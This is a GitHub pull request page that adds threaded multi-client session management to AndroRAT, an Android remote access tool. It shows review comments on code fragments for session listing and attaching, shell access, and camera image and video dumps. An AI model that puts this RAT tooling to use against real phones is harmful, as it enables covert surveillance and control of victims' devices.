Threaded multi-client session management #436
Open
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
c0dew3ll
reviewed
Jun 20, 2025
utlils.py
Outdated
| - By karma9874 | ||
| """ | ||
|
|
||
| pattern = '\"(\\d+\\.\\d+).*\"' |
c0dew3ll
reviewed
Jun 20, 2025
utlils.py
Outdated
| print("Unknown command. Type 'help' for available commands.\n") | ||
|
|
||
|
|
||
| # this function is no longer needed with the new threaded model |
c0dew3ll
reviewed
Jun 20, 2025
utlils.py
Outdated
| sys.exit() | ||
|
|
||
| java_version = execute("java -version") | ||
| if java_version.returncode: |
There was a problem hiding this comment.
Bonus point for failing if version < 8
c0dew3ll
reviewed
Jun 20, 2025
utlils.py
Outdated
| flag = 1 | ||
| print(stdOutput("error")+"Not able to decode the Video File\n") | ||
| if flag == 1: | ||
| os.remove("Video_"+timestr+'.mp4') |
There was a problem hiding this comment.
On decode failure, it attempts to remove "Video_"+timestr+'.mp4', but the file was written to "Dumps"+direc+"Video_"+timestr+'.mp4'.
c0dew3ll
reviewed
Jun 20, 2025
utlils.py
Outdated
| print(stdOutput("info")+"\033[0mTaking Image") | ||
| timestr = time.strftime("%Y%m%d-%H%M%S") | ||
| flag=0 | ||
| filename ="Dumps"+direc+"Image_"+timestr+'.jpg' |
There was a problem hiding this comment.
How about using os.path.join for Paths
c0dew3ll
reviewed
Jun 20, 2025
utlils.py
Outdated
| return bool(m) and all(map(lambda n: 0 <= int(n) <= 255, m.groups())) | ||
|
|
||
| def is_valid_port(port): | ||
| i = 1 if port.isdigit() and len(port)>1 else 0 |
There was a problem hiding this comment.
1 is valid port, despite sounding strange. Range of assignable port is 1-65535
gzapata88
approved these changes
Jul 2, 2025
gzapata88
approved these changes
Jul 2, 2025
montoyak20
approved these changes
Jul 6, 2025
|
Sorry, I rushed to push this commit. Mistakenly left wrong |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
5 participants
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Adds multi client functionality and new top menu for managing sessoins. Sessions are given a unique ID and can be listed and accessed with
listandattachcommands. Normal AndroRAT interpreter on each session with shell support.Recommend making upstream branch in case users still want single-session support. Kind of a quick hack, not sure how you would toggle session modes since I had to change get_shell() a lot.